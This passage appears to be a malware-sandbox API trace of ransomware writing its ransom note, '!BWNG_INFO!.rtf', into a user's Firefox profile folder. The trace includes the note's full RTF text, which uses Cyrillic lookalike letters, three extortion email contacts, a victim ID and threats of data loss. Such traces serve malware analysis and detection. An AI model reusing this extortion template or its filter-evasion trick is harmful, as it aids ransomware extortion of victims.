UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nº¾\x0eó?àÜù¤\x9b\x14i¿Ì\x04oÏáÒr¡/N8\x8bãd^\x19.\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.980] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.990] CloseHandle (hObject=0x168) returned 1 [0035.990] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\!bwng_info!.rtf")) returned 0xffffffff [0035.990] GetLastError () returned 0x2 [0035.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 